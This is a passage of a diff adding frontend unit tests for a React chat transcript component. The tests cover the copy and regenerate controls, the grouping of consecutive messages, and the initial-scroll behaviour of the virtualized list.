+ // coalesced-segment walk skips it and joins the two text runs with a blank line.
509
+ { id: 'p2', type: 'source', url: 'https://example.com' },
510
+ { id: 'p3', type: 'text', text: 'World' },
511
+ ],
512
+ createdAt: Date.now(),
513
+ },
514
+ ]
515
+
516
+ render(
517
+ <MantineProvider>
518
+ <ThreadTranscript messages={messages} />
519
+ </MantineProvider>,
520
+ )
521
+
522
+ fireEvent.click(screen.getByLabelText('Copy message'))
523
+
524
+ await waitFor(() => expect(calls).toEqual(['Hello\n\nWorld']))
525
+ })
526
+
527
+ test('regenerate appears on the LAST assistant message only, and calls back with its id', () => {
528
+ const calls: string[] = []
529
+ const now = Date.now()
530
+ const messages: ChatMessage<TranscriptPart>[] = [
531
+ { id: 'u1', role: 'user', parts: [{ id: 'u1-p1', type: 'text', text: 'q' }], createdAt: now },
532
+ {
533
+ id: 'a1',
534
+ role: 'assistant',
535
+ parts: [{ id: 'a1-p1', type: 'text', text: 'first reply' }],
536
+ createdAt: now + 1_000,
537
+ },
538
+ {
539
+ id: 'u2',
540
+ role: 'user',
541
+ parts: [{ id: 'u2-p1', type: 'text', text: 'q2' }],
542
+ createdAt: now + 2_000,
543
+ },
544
+ {
545
+ id: 'a2',
546
+ role: 'assistant',
547
+ parts: [{ id: 'a2-p1', type: 'text', text: 'second reply' }],
548
+ createdAt: now + 3_000,
549
+ },
550
+ ]
551
+
552
+ render(
553
+ <MantineProvider>
554
+ <ThreadTranscript
555
+ messages={messages}
556
+ affordances={{ onRegenerate: (messageId) => calls.push(messageId) }}
557
+ />
558
+ </MantineProvider>,
559
+ )
560
+
561
+ expect(screen.getAllByText('Regenerate')).toHaveLength(1)
562
+ const lastRow = within(screen.getByTestId('message-affordances-a2'))
563
+ fireEvent.click(lastRow.getByText('Regenerate'))
564
+ expect(calls).toEqual(['a2'])
565
+ })
566
+
567
+ test('custom actions render alongside the built-in affordances, on every message', () => {
568
+ render(
569
+ <MantineProvider>
570
+ <ThreadTranscript
571
+ messages={singleMessage(Date.now())}
572
+ affordances={{
573
+ actions: ({ message }) => <button type="button">{`pin-${message.id}`}</button>,
574
+ }}
575
+ />
576
+ </MantineProvider>,
577
+ )
578
+
579
+ expect(screen.getByText('pin-aff1')).toBeDefined()
580
+ })
581
+
582
+ test('the live/streaming message never renders an affordance row', () => {
583
+ render(
584
+ <MantineProvider>
585
+ <ThreadTranscript
586
+ messages={[]}
587
+ liveParts={[{ id: 'live-p1', type: 'text', text: 'partial reply' }]}
588
+ liveStatus="streaming"
589
+ />
590
+ </MantineProvider>,
591
+ )
592
+
593
+ expect(screen.queryByTestId('message-affordances-__live__')).toBeNull()
594
+ expect(screen.queryByLabelText('Copy message')).toBeNull()
595
+ })
596
+
597
+ test('renders no affordance row at all when every affordance resolves to off', () => {
598
+ render(
599
+ <MantineProvider>
600
+ <ThreadTranscript
601
+ messages={singleMessage(Date.now())}
602
+ affordances={{ timestamp: 'none', copy: false }}
603
+ />
604
+ </MantineProvider>,
605
+ )
606
+
607
+ // No onRegenerate (so no regenerate control, even though this IS the last assistant message)
608
+ // and no custom `actions` either — nothing for the row to show, so `MessageAffordanceRow`
609
+ // renders `null` rather than an empty strip.
610
+ expect(screen.queryByTestId('message-affordances-aff1')).toBeNull()
611
+ })
612
+
613
+ test('a fresh onRegenerate literal each render does not force a re-render either', () => {
614
+ const messages = buildMessages(10)
615
+ const { rerender } = render(
616
+ <MantineProvider>
617
+ <ThreadTranscript messages={messages} affordances={{ onRegenerate: (id) => id }} />
618
+ </MantineProvider>,
619
+ )
620
+ messageBlockRenderCounter.count = 0
621
+
622
+ // A brand-new handler literal every render (the realistic consumer shape this finding names) —
623
+ // `useStableCallback` must absorb this so `resolvedAffordances`'s reference stays put. Note
624
+ // this covers `onRegenerate` ONLY: `actions` is a render prop and is deliberately compared by
625
+ // reference (see the two tests below, and `MessageAffordances.actions`'s own doc).
626
+ rerender(
627
+ <MantineProvider>
628
+ <ThreadTranscript messages={messages} affordances={{ onRegenerate: (id) => id }} />
629
+ </MantineProvider>,
630
+ )
631
+
632
+ expect(messageBlockRenderCounter.count).toBe(0)
633
+ })
634
+
635
+ test('a consumer `actions` render prop reflects the consumer state it closes over', () => {
636
+ // The counterweight to the test above, and the reason `actions` is exempt from
637
+ // `useStableCallback`: `actions` is invoked DURING render to produce nodes, so identity-
638
+ // stabilizing it would freeze `resolvedAffordances` → `settledRows` → the very JSX element
639
+ // objects React reconciles, and the consumer's control would render its first-render output
640
+ // for the transcript's whole lifetime. This is the shape any real pin/star/bookmark action
641
+ // takes.
642
+ const messages = singleMessage(Date.now())
643
+ const { rerender } = render(
644
+ <MantineProvider>
645
+ <ThreadTranscript
646
+ messages={messages}
647
+ affordances={{ actions: () => <span data-testid="pin">pinned: no</span> }}
648
+ />
649
+ </MantineProvider>,
650
+ )
651
+
652
+ expect(screen.getByTestId('pin').textContent).toBe('pinned: no')
653
+
654
+ rerender(
655
+ <MantineProvider>
656
+ <ThreadTranscript
657
+ messages={messages}
658
+ affordances={{ actions: () => <span data-testid="pin">pinned: yes</span> }}
659
+ />
660
+ </MantineProvider>,
661
+ )
662
+
663
+ expect(screen.getByTestId('pin').textContent).toBe('pinned: yes')
664
+ })
665
+
666
+ test('a REFERENCE-STABLE `actions` still gets the memo bail-out', () => {
667
+ // The documented opt-out: a consumer that wraps `actions` in its own `useCallback` (modelled
668
+ // here by a module-scope constant) keeps the whole `affordances`-by-reference bail-out, so
669
+ // exempting `actions` costs nothing for a consumer that cares about it.
670
+ const messages = buildMessages(10)
671
+ const { rerender } = render(
672
+ <MantineProvider>
673
+ <ThreadTranscript messages={messages} affordances={{ actions: STABLE_ACTIONS }} />
674
+ </MantineProvider>,
675
+ )
676
+ messageBlockRenderCounter.count = 0
677
+
678
+ rerender(
679
+ <MantineProvider>
680
+ <ThreadTranscript messages={messages} affordances={{ actions: STABLE_ACTIONS }} />
681
+ </MantineProvider>,
682
+ )
683
+
684
+ expect(messageBlockRenderCounter.count).toBe(0)
685
+ })
686
+ })
687
+
688
+ describe('affordance row visibility — hover OR focus-within (a11y)', () => {
689
+ test('a descendant holding focus reveals the row, not just mouse hover', () => {
690
+ render(
691
+ <MantineProvider>
692
+ <ThreadTranscript messages={singleMessage(Date.now())} />
693
+ </MantineProvider>,
694
+ )
695
+
696
+ const row = screen.getByTestId('message-affordances-aff1')
697
+ expect(row.style.opacity).toBe('0')
698
+
699
+ // The row stays mounted regardless of visibility (see `MessageAffordanceRowProps.visible`'s
700
+ // doc), so its Copy control is focusable even before hover/focus reveals it. `focusIn` (not
701
+ // `focus`, which does not bubble) is what `useFocusWithin`'s underlying `addEventListener`
702
+ // actually listens for — matching how a real Tab keypress reaches focus in the browser.
703
+ fireEvent.focusIn(screen.getByLabelText('Copy message'))
704
+
705
+ expect(row.style.opacity).toBe('1')
706
+
707
+ fireEvent.focusOut(screen.getByLabelText('Copy message'))
708
+
709
+ expect(row.style.opacity).toBe('0')
710
+ })
711
+ })
712
+
713
+ describe('groupConsecutive — the Slack rhythm (AGENT-CHAT-SPEC.md §11, default true)', () => {
714
+ const T0 = 1_000_000_000
715
+
716
+ function pair(
717
+ deltaMs: number,
718
+ roleA: ChatMessage<TranscriptPart>['role'] = 'assistant',
719
+ roleB: ChatMessage<TranscriptPart>['role'] = 'assistant',
720
+ ): ChatMessage<TranscriptPart>[] {
721
+ return [
722
+ {
723
+ id: 'gp1',
724
+ role: roleA,
725
+ parts: [{ id: 'gp1-p1', type: 'text', text: 'first' }],
726
+ createdAt: T0,
727
+ },
728
+ {
729
+ id: 'gp2',
730
+ role: roleB,
731
+ parts: [{ id: 'gp2-p1', type: 'text', text: 'second' }],
732
+ createdAt: T0 + deltaMs,
733
+ },
734
+ ]
735
+ }
736
+
737
+ test('same role within 5 minutes groups — the second message drops its role label and chrome', () => {
738
+ render(
739
+ <MantineProvider>
740
+ <ThreadTranscript messages={pair(60_000)} />
741
+ </MantineProvider>,
742
+ )
743
+
744
+ expect(screen.getAllByText('Assistant')).toHaveLength(1)
745
+ expect(screen.getByTestId('agent-message-gp2').getAttribute('data-grouped')).toBe('true')
746
+ })
747
+
748
+ test('same role at exactly the 5-minute boundary still groups', () => {
749
+ render(
750
+ <MantineProvider>
751
+ <ThreadTranscript messages={pair(5 * 60_000)} />
752
+ </MantineProvider>,
753
+ )
754
+
755
+ expect(screen.getAllByText('Assistant')).toHaveLength(1)
756
+ })
757
+
758
+ test('same role at 5 minutes + 1ms does NOT group', () => {
759
+ render(
760
+ <MantineProvider>
761
+ <ThreadTranscript messages={pair(5 * 60_000 + 1)} />
762
+ </MantineProvider>,
763
+ )
764
+
765
+ expect(screen.getAllByText('Assistant')).toHaveLength(2)
766
+ expect(screen.getByTestId('agent-message-gp2').getAttribute('data-grouped')).toBe('false')
767
+ })
768
+
769
+ test('different roles never group, regardless of how close in time', () => {
770
+ render(
771
+ <MantineProvider>
772
+ <ThreadTranscript messages={pair(0, 'user', 'assistant')} />
773
+ </MantineProvider>,
774
+ )
775
+
776
+ expect(screen.getByText('You')).toBeDefined()
777
+ expect(screen.getByText('Assistant')).toBeDefined()
778
+ })
779
+
780
+ test('the first message never groups — there is no predecessor', () => {
781
+ render(
782
+ <MantineProvider>
783
+ <ThreadTranscript messages={pair(60_000).slice(0, 1)} />
784
+ </MantineProvider>,
785
+ )
786
+
787
+ expect(screen.getByTestId('agent-message-gp1').getAttribute('data-grouped')).toBe('false')
788
+ })
789
+
790
+ test('groupConsecutive={false} disables grouping entirely', () => {
791
+ render(
792
+ <MantineProvider>
793
+ <ThreadTranscript messages={pair(1_000)} groupConsecutive={false} />
794
+ </MantineProvider>,
795
+ )
796
+
797
+ expect(screen.getAllByText('Assistant')).toHaveLength(2)
798
+ })
799
+ })
800
+
801
+ /** A minimal fake matching `MeasurementCacheHost`'s structural shape — no ResizeObserver, no
802
+ * layout engine, no `@tanstack/react-virtual` import at all needed to prove the guard branch. */
803
+ function fakeMeasurementHost({
804
+ cached,
805
+ estimate = 999,
806
+ }: { readonly cached?: number; readonly estimate?: number } = {}) {
807
+ const itemSizeCache = new Map<unknown, number>()
808
+ if (cached !== undefined) itemSizeCache.set('row-key', cached)
809
+ return {
810
+ indexFromElement: () => 0,
811
+ itemSizeCache,
812
+ options: {
813
+ getItemKey: () => 'row-key',
814
+ estimateSize: () => estimate,
815
+ },
816
+ }
817
+ }
818
+
819
+ describe('resolveGuardedMeasurement — a 0 ResizeObserver reading is never a real row measurement', () => {
820
+ const element = document.createElement('div')
821
+
822
+ test('a genuine (non-zero) measurement passes through unchanged', () => {
823
+ const host = fakeMeasurementHost({ cached: 40 })
824
+ expect(resolveGuardedMeasurement(host, element, 145)).toBe(145)
825
+ })
826
+
827
+ test('a 0 reading with a cached size falls back to the LAST-KNOWN size, not 0 — this is the exact mechanism that stops a collapsed virtualized row from poisoning itemSizeCache', () => {
828
+ const host = fakeMeasurementHost({ cached: 220 })
829
+ expect(resolveGuardedMeasurement(host, element, 0)).toBe(220)
830
+ })
831
+
832
+ test('a 0 reading with no prior measurement (first mount) falls back to estimateSize, not 0', () => {
833
+ const host = fakeMeasurementHost({ estimate: 160 })
834
+ expect(resolveGuardedMeasurement(host, element, 0)).toBe(160)
835
+ })
836
+ })
837
+
838
+ describe('resolveInitialScrollAction — the pure decision behind "a virtualized transcript opens at the newest message"', () => {
839
+ test('"start" resolves to skip-done regardless of row count or container height', () => {
840
+ expect(resolveInitialScrollAction('start', 50, 300)).toBe('skip-done')
841
+ expect(resolveInitialScrollAction('start', 0, 0)).toBe('skip-done')
842
+ })
843
+
844
+ test('an empty transcript resolves to skip-done even when targeting "end" — nothing to scroll to', () => {
845
+ expect(resolveInitialScrollAction('end', 0, 300)).toBe('skip-done')
846
+ })
847
+
848
+ test('a non-positive container height resolves to skip-retry, NOT skip-done — a hidden ancestor must not permanently strand the transcript at the top', () => {
849
+ expect(resolveInitialScrollAction('end', 50, 0)).toBe('skip-retry')
850
+ expect(resolveInitialScrollAction('end', 50, -1)).toBe('skip-retry')
851
+ })
852
+
853
+ test('a genuinely measured, non-empty, "end"-targeted mount resolves to scroll', () => {
854
+ expect(resolveInitialScrollAction('end', 50, 300)).toBe('scroll')
855
+ })
856
+ })
857
+
858
+ describe('applyInitialScroll — the ACROSS-CALLS guard that makes the jump fire once, ever', () => {
859
+ // A fake `scrollToEnd` is the boundary here rather than a real DOM `Element.scrollTo` spy on
860
+ // purpose: a real `Virtualizer`'s own `followOnAppend` ALSO calls `scrollTo` on a later append
861
+ // (verified against the installed virtual-core 3.17.1 — `setOptions`'s edge-key-change branch),
862
+ // making that call indistinguishable from this effect's own at the DOM boundary. `applyInitialScroll`
863
+ // is the exact function `VirtualizedRowsInner`'s effect calls, so this proves the real guard, not
864
+ // a hand-mirrored copy of it. `isAtEnd` is likewise a fake rather than a real DOM `scrollTop` read
865
+ // — this describe block proves the STATE MACHINE (fire → verify → settle-or-retry, bounded), not
866
+ // the real browser race the fix exists for, which happy-dom cannot observe (no layout engine —
867
+ // see the `initialScroll` describe block below for what IS provable against the real component).
868
+
869
+ test('fires once, stays unsettled until a later call confirms it via isAtEnd, then never fires again', () => {
870
+ const state: InitialScrollState = { hasApplied: false, attempts: 0 }
871
+ const scrollToEnd = mock(() => {})
872
+ const isAtEnd = mock(() => true)
873
+
874
+ applyInitialScroll(state, 'end', 60, () => 300, scrollToEnd, isAtEnd)
875
+ expect(scrollToEnd).toHaveBeenCalledTimes(1)
876
+ // Not yet permanent: firing is not landing. Verification happens on the NEXT call.
877
+ expect(state.hasApplied).toBe(false)
878
+
879
+ // Simulates the effect re-running on every later streamed append (rows.length keeps growing)
880
+ // — the exact scenario that must NOT re-trigger the jump once it has settled.
881
+ applyInitialScroll(state, 'end', 61, () => 300, scrollToEnd, isAtEnd)
882
+ expect(state.hasApplied).toBe(true)
883
+
884
+ applyInitialScroll(state, 'end', 62, () => 300, scrollToEnd, isAtEnd)
885
+ expect(scrollToEnd).toHaveBeenCalledTimes(1)
886
+ })
887
+
888
+ test('re-fires when isAtEnd reports the jump was reverted before settling — the clobber-recovery path', () => {
889
+ const state: InitialScrollState = { hasApplied: false, attempts: 0 }
890
+ const scrollToEnd = mock(() => {})
891
+ let atEnd = false
892
+ const isAtEnd = () => atEnd
893
+
894
+ // First attempt: fires, unconfirmed.
895
+ applyInitialScroll(state, 'end', 60, () => 300, scrollToEnd, isAtEnd)
896
+ expect(scrollToEnd).toHaveBeenCalledTimes(1)
897
+
898
+ // Next commit: the DOM reports NOT at the end (something else clobbered `scrollTop` in the
899
+ // meantime, e.g. virtual-core's own `_willUpdate` anchor branch) — re-fires rather than
900
+ // accepting the reverted position as final.
901
+ applyInitialScroll(state, 'end', 60, () => 300, scrollToEnd, isAtEnd)
902
+ expect(scrollToEnd).toHaveBeenCalledTimes(2)
903
+ expect(state.hasApplied).toBe(false)
904
+
905
+ // The DOM now holds: settles on the next confirming call.
906
+ atEnd = true
907
+ applyInitialScroll(state, 'end', 60, () => 300, scrollToEnd, isAtEnd)
908
+ expect(scrollToEnd).toHaveBeenCalledTimes(2)
909
+ expect(state.hasApplied).toBe(true)
910
+
911
+ // A further call must not fire again.
912
+ applyInitialScroll(state, 'end', 61, () => 300, scrollToEnd, isAtEnd)
913
+ expect(scrollToEnd).toHaveBeenCalledTimes(2)
914
+ })
915
+
916
+ test('gives up after MAX_INITIAL_SCROLL_ATTEMPTS rather than retrying forever against a DOM that never confirms', () => {
917
+ const state: InitialScrollState = { hasApplied: false, attempts: 0 }
918
+ const scrollToEnd = mock(() => {})
919
+ // never confirms — the pathological case this bound exists for
920
+ const isAtEnd = mock(() => false)
921
+
922
+ for (let i = 0; i < 20; i += 1) {
923
+ applyInitialScroll(state, 'end', 60, () => 300, scrollToEnd, isAtEnd)
924
+ }
925
+
926
+ expect(state.hasApplied).toBe(true)
927
+ expect(scrollToEnd).toHaveBeenCalledTimes(MAX_INITIAL_SCROLL_ATTEMPTS)
928
+
929
+ // Once given up, further calls are true no-ops.
930
+ applyInitialScroll(state, 'end', 61, () => 300, scrollToEnd, isAtEnd)
931
+ expect(scrollToEnd).toHaveBeenCalledTimes(MAX_INITIAL_SCROLL_ATTEMPTS)
932
+ })
933
+
934
+ test('"start" marks done WITHOUT ever calling scrollToEnd — mutation-proof for the skip-done branch not silently becoming skip-retry', () => {
935
+ const state: InitialScrollState = { hasApplied: false, attempts: 0 }
936
+ const scrollToEnd = mock(() => {})
937
+ const isAtEnd = mock(() => false)
938
+
939
+ applyInitialScroll(state, 'start', 60, () => 300, scrollToEnd, isAtEnd)
940
+
941
+ expect(scrollToEnd).not.toHaveBeenCalled()
942
+ expect(isAtEnd).not.toHaveBeenCalled()
943
+ expect(state.hasApplied).toBe(true)
944
+ })
945
+
946
+ test('an empty transcript marks done WITHOUT ever calling scrollToEnd', () => {
947
+ const state: InitialScrollState = { hasApplied: false, attempts: 0 }
948
+ const scrollToEnd = mock(() => {})
949
+ const isAtEnd = mock(() => false)
950
+
951
+ applyInitialScroll(state, 'end', 0, () => 300, scrollToEnd, isAtEnd)
952
+
953
+ expect(scrollToEnd).not.toHaveBeenCalled()
954
+ expect(isAtEnd).not.toHaveBeenCalled()
955
+ expect(state.hasApplied).toBe(true)
956
+ })
957
+
958
+ test('a hidden (0px) container retries on a later call instead of being permanently stranded, then settles once confirmed', () => {
959
+ const state: InitialScrollState = { hasApplied: false, attempts: 0 }
960
+ const scrollToEnd = mock(() => {})
961
+ const isAtEnd = mock(() => true)
962
+
963
+ // First attempt: mounted behind a `display: none` ancestor — measures 0.
964
+ applyInitialScroll(state, 'end', 60, () => 0, scrollToEnd, isAtEnd)
965
+ expect(scrollToEnd).not.toHaveBeenCalled()
966
+ expect(state.hasApplied).toBe(false)
967
+
968
+ // Second attempt — the row was re-expanded, so the SAME row count now measures. Deliberately
969
+ // NOT a changed count: the commit that un-hides a `ThreadFeedRow` body changes nothing the
970
+ // effect could key a dependency array on, which is why that effect has none. Fires, unconfirmed.
971
+ applyInitialScroll(state, 'end', 60, () => 300, scrollToEnd, isAtEnd)
972
+ expect(scrollToEnd).toHaveBeenCalledTimes(1)
973
+ expect(state.hasApplied).toBe(false)
974
+
975
+ // Third attempt (next commit): confirmed settled.
976
+ applyInitialScroll(state, 'end', 61, () => 300, scrollToEnd, isAtEnd)
977
+ expect(scrollToEnd).toHaveBeenCalledTimes(1)
978
+ expect(state.hasApplied).toBe(true)
979
+
980
+ // A fourth attempt must not fire again.
981
+ applyInitialScroll(state, 'end', 62, () => 300, scrollToEnd, isAtEnd)
982
+ expect(scrollToEnd).toHaveBeenCalledTimes(1)
983
+ })
984
+
985
+ test('the container-height read happens at most once per mount — verification never touches it, only isAtEnd', () => {
986
+ const state: InitialScrollState = { hasApplied: false, attempts: 0 }
987
+ const scrollToEnd = mock(() => {})
988
+ const getContainerHeight = mock(() => 300)
989
+ const isAtEnd = mock(() => true)
990
+
991
+ applyInitialScroll(state, 'end', 60, getContainerHeight, scrollToEnd, isAtEnd)
992
+ expect(getContainerHeight).toHaveBeenCalledTimes(1)
993
+ expect(isAtEnd).not.toHaveBeenCalled()
994
+
995
+ // Verification call — reads `isAtEnd`, not `getContainerHeight` (no forced `offsetHeight`
996
+ // layout once the row count / container height have already done their one job).
997
+ applyInitialScroll(state, 'end', 61, getContainerHeight, scrollToEnd, isAtEnd)
998
+ expect(getContainerHeight).toHaveBeenCalledTimes(1)
999
+ expect(isAtEnd).toHaveBeenCalledTimes(1)
1000
+ expect(state.hasApplied).toBe(true)
1001
+
1002
+ // Every later commit (one per streamed chunk on a live thread) re-runs the dependency-free
1003
+ // effect — a settled transcript must touch neither thunk.
1004
+ applyInitialScroll(state, 'end', 62, getContainerHeight, scrollToEnd, isAtEnd)
1005
+ expect(getContainerHeight).toHaveBeenCalledTimes(1)
1006
+ expect(isAtEnd).toHaveBeenCalledTimes(1)
1007
+ })
1008
+ })
1009
+
1010
+ function manyMessages(count: number): ChatMessage<TranscriptPart>[] {
1011
+ const t0 = 1_000_000_000
1012
+ return Array.from({ length: count }, (_, i) => ({
1013
+ id: `vm${i}`,
1014
+ role: i % 2 === 0 ? 'user' : 'assistant',
1015
+ // 10 minutes apart — never groups, keeping this describe block orthogonal to grouping.
1016
+ parts: [{ id: `vm${i}-p1`, type: 'text', text: `message ${i}` }],
1017
+ createdAt: t0 + i * 10 * 60_000,
1018
+ }))
1019
+ }
1020
+
1021
+ // `virtual-core` itself unconditionally calls `scrollTo({ top: 0, behavior: undefined })` the
1022
+ // moment ANY virtualizer first attaches its scroll element (`_willUpdate`'s
1023
+ // `this.scrollElement !== scrollElement` branch, verified against the installed 3.17.1 source) —
1024
+ // that call exists with or without this feature and is not evidence of anything. The initial-scroll
1025
+ // effect's own call is `scrollToEnd({ behavior: 'auto' })`, so an explicit `behavior: 'auto'`
1026
+ // argument is what's genuinely diagnostic — and, on the very FIRST mount (before any append has
1027
+ // ever run `setOptions` again), it can only have come from that effect: `followOnAppend`'s own
1028
+ // `behavior: 'auto'` re-scroll is gated on `prevOptions !== undefined`, i.e. it never fires on
1029
+ // construction. (A later append's `followOnAppend` call is indistinguishable from the effect's own
1030
+ // at this DOM boundary — the `applyInitialScroll` describe block above proves the once-ever
1031
+ // guarantee with a fake `scrollToEnd` instead, precisely because of that ambiguity.)
1032
+ // Typed structurally rather than as `ReturnType<typeof spyOn>`: `spyOn` is generic over the object
1033
+ // and key being spied on, so referencing its return type with the type arguments unresolved leaves
1034
+ // `mock.calls` uninferrable and every callback parameter an implicit `any` (a tsc error under this
1035
+ // package's strict config — `bun test` alone never sees it).
1036
+ function autoBehaviorCalls(spy: {
1037
+ readonly mock: { readonly calls: readonly unknown[][] }
1038
+ }): number {
1039
+ return spy.mock.calls.filter(
1040
+ (call) => (call[0] as { behavior?: string } | undefined)?.behavior === 'auto',
1041
+ ).length
1042
+ }
1043
+
1044
+ describe('virtualization (AGENT-CHAT-SPEC.md §9)', () => {
1045
+ let originalOffsetHeight: PropertyDescriptor | undefined
1046
+
1047
+ beforeEach(() => {
1048
+ originalOffsetHeight = Object.getOwnPropertyDescriptor(HTMLElement.prototype, 'offsetHeight')
1049
+ // happy-dom has no layout engine — every element's offsetHeight is always 0, which makes
1050
+ // TanStack Virtual compute a zero-height viewport and render nothing at all. A fixed value
1051
+ // gives it a real, deterministic non-degenerate viewport to compute a visible window against.
1052
+ Object.defineProperty(HTMLElement.prototype, 'offsetHeight', { configurable: true, value: 300 })
1053
+ })
1054
+
1055
+ afterEach(() => {
1056
+ if (originalOffsetHeight !== undefined) {
1057
+ Object.defineProperty(HTMLElement.prototype, 'offsetHeight', originalOffsetHeight)
1058
+ } else {
1059
+ delete (HTMLElement.prototype as { offsetHeight?: number }).offsetHeight
1060
+ }
1061
+ })
1062
+
1063
+ test('virtualize renders a windowed subset of a large thread, once the lazy import resolves', async () => {
1064
+ const messages = manyMessages(200)
1065
+ const { container } = render(
1066
+ <MantineProvider>
1067
+ <ThreadTranscript messages={messages} virtualize height={300} />
1068
+ </MantineProvider>,
1069
+ )
1070
+
1071
+ // The Suspense fallback (`VirtualizeSuspenseFallback`) is an EMPTY placeholder with no row
1072
+ // content at all, so waiting for ANY rendered row can only resolve once the lazy
1073
+ // `@tanstack/react-virtual` import has settled and the real virtualizer has mounted — unlike
1074
+ // the assertion this replaces (`await screen.findByText('message 199')`), which resolved from
1075
+ // the OLD full-row-tree fallback at SYNCHRONOUS tick 0, before any `await`, regardless of
1076
+ // whether the import ever resolved or the virtualizer ever ran.
1077
+ //
1078
+ // Which row lands first is deliberately NOT asserted: happy-dom has no layout/scroll engine
1079
+ // (every element's `scrollHeight`/`offsetHeight` beyond the stubbed constant above is 0), so
1080
+ // `anchorTo: 'end'` cannot be proven in this harness — observed locally, the virtualizer mounts
1081
+ // starting at index 0, not the tail, here. That behaviour remains unverified until the browser
1082
+ // gate; this test only proves the async mount + windowing, not the anchor direction.
1083
+ await waitFor(() => {
1084
+ const renderedCount = container.querySelectorAll('[data-testid^="agent-message-"]').length
1085
+ expect(renderedCount).toBeGreaterThan(0)
1086
+ expect(renderedCount).toBeLessThan(200)
1087
+ })
1088
+ })
1089
+
1090
+ test('virtualize keeps windowing with an active live/streaming turn appended', async () => {
1091
+ const messages = manyMessages(80)
1092
+ const { container } = render(
1093
+ <MantineProvider>
1094
+ <ThreadTranscript
1095
+ messages={messages}
1096
+ virtualize
1097
+ height={300}
1098
+ liveParts={[{ id: 'live-p1', type: 'text', text: 'streaming reply' }]}
1099
+ liveStatus="streaming"
1100
+ />
1101
+ </MantineProvider>,
1102
+ )
1103
+
1104
+ await waitFor(() => {
1105
+ expect(container.querySelectorAll('[data-testid^="agent-message-"]').length).toBeGreaterThan(
1106
+ 0,
1107
+ )
1108
+ })
1109
+
1110
+ // `anchorTo: 'end'` cannot be relied on in happy-dom (no layout/scroll engine — see the
1111
+ // previous test's comment), so the live block does not necessarily paint on its own. This
1112
+ // proves the settled/live SPLIT (the `settledRows`/`liveRow`/`rows` memos from finding #2) still
1113
+ // hands the virtualizer one COMBINED row set that genuinely includes the live block, by
1114
+ // manually scrolling the pane to its reported end and confirming the live message is what
1115
+ // renders there — not that a live message got dropped when it was pulled out of the settled
1116
+ // memo.
1117
+ const scrollElement = container.querySelector('div[style*="overflow: auto"]')
1118
+ if (scrollElement === null)
1119
+ throw new Error('expected the virtualizer scroll container to exist')
1120
+ ;(scrollElement as HTMLElement).scrollTop = Number.MAX_SAFE_INTEGER
1121
+ fireEvent.scroll(scrollElement)
1122
+
1123
+ await waitFor(() => {
1124
+ expect(screen.queryByText('streaming reply')).not.toBeNull()
1125
+ })
1126
+
1127
+ // 80 settled + 1 live = 81 total; still windowed even scrolled to the tail.
1128
+ const renderedCount = container.querySelectorAll('[data-testid^="agent-message-"]').length
1129
+ expect(renderedCount).toBeGreaterThan(0)
1130
+ expect(renderedCount).toBeLessThan(81)
1131
+ })
1132
+
1133
+ test('the non-virtual path is unchanged — every message renders, unwindowed', () => {
1134
+ const messages = manyMessages(12)
1135
+ const { container } = render(
1136
+ <MantineProvider>
1137
+ <ThreadTranscript messages={messages} />
1138
+ </MantineProvider>,
1139
+ )
1140
+
1141
+ expect(container.querySelectorAll('[data-testid^="agent-message-"]').length).toBe(12)
1142
+ })
1143
+
1144
+ test('the optional-peer-absent degrade target renders every row unwindowed, and never throws', () => {
1145
+ const rows = Array.from({ length: 30 }, (_, i) => ({
1146
+ key: `fallback-row-${i}`,
1147
+ node: <div data-testid={`fallback-row-${i}`}>{`row ${i}`}</div>,
1148
+ }))
1149
+
1150
+ let container: HTMLElement | undefined
1151
+ expect(() => {
1152
+ ;({ container } = render(
1153
+ <MantineProvider>
1154
+ <VirtualizeFallback
1155
+ rows={rows}
1156
+ height={300}
1157
+ overscan={6}
1158
+ estimateSize={96}
1159
+ initialScroll="end"
1160
+ />
1161
+ </MantineProvider>,
1162
+ ))
1163
+ }).not.toThrow()
1164
+
1165
+ expect(container).toBeDefined()
1166
+ expect(container?.querySelectorAll('[data-testid^="fallback-row-"]').length).toBe(30)
1167
+ expect(screen.getByTestId('fallback-row-0')).toBeDefined()
1168
+ expect(screen.getByTestId('fallback-row-29')).toBeDefined()
1169
+ })
1170
+
1171
+ // happy-dom has no scroll engine, so scroll POSITION can't be asserted (see the module-level
1172
+ // comment on the first test above). What CAN be asserted, genuinely, is the SCROLL INTENT: a
1173
+ // spy on `Element.prototype.scrollTo` — the exact DOM entry point `virtual-core`'s `elementScroll`
1174
+ // calls at the bottom of `scrollToEnd()` (verified against the installed 3.17.1 source; happy-dom
1175
+ // implements `scrollTo` as a real, synchronous `scrollTop` write for the `'auto'`/default
1176
+ // behavior this effect uses, so the spy observes a genuine call, not a no-op the DOM silently
1177
+ // swallows). This is the boundary the brief asks for: a fake/spy at the edge, not a pretended
1178
+ // observation of scroll position.
1179
+ describe('the default open-at-the-newest-message jump (VirtualizeOptions.initialScroll)', () => {
1180
+ test('fires once the lazy virtualizer mounts', async () => {
1181
+ const scrollToSpy = spyOn(Element.prototype, 'scrollTo')
1182
+ const messages = manyMessages(60)
1183
+ const { container } = render(
1184
+ <MantineProvider>
1185
+ <ThreadTranscript messages={messages} virtualize height={300} />
1186
+ </MantineProvider>,
1187
+ )
1188
+
1189
+ await waitFor(() => {
1190
+ expect(
1191
+ container.querySelectorAll('[data-testid^="agent-message-"]').length,
1192
+ ).toBeGreaterThan(0)
1193
+ })
1194
+ expect(autoBehaviorCalls(scrollToSpy)).toBeGreaterThan(0)
1195
+
1196
+ scrollToSpy.mockRestore()
1197
+ })
1198
+
1199
+ test('a virtualizer that mounted behind a hidden ancestor lands the jump on the commit that makes it measurable', async () => {
1200
+ // The reachable version of `virtualize.ts`'s third+fourth composition rules meeting: the
1201
+ // lazy `import('@tanstack/react-virtual')` settles ASYNCHRONOUSLY, so a `ThreadFeedRow`
1202
+ // collapsed during that window mounts `VirtualizedRowsInner` behind `display: none` — every
1203
+ // measurement reads 0, and the commit that later un-hides the body changes neither the row
1204
+ // count nor the virtualizer identity. A dependency-keyed effect never re-runs for that
1205
+ // commit, which stranded the transcript at message #0 for the rest of the row's life.
1206
+ // happy-dom has no per-element layout to hide, so the describe block's 300px prototype stub
1207
+ // is overridden to 0 to reach the same state, then restored to stand in for the re-expand.
1208
+ Object.defineProperty(HTMLElement.prototype, 'offsetHeight', { configurable: true, value: 0 })
1209
+ const scrollToSpy = spyOn(Element.prototype, 'scrollTo')
1210
+ const messages = manyMessages(60)
1211
+ // A FRESH element on every render pass: React bails out of re-rendering a subtree whose
1212
+ // element object is reference-identical to the previous one, which would skip the very
1213
+ // commit this test is about.
1214
+ const tree = () => (
1215
+ <MantineProvider>
1216
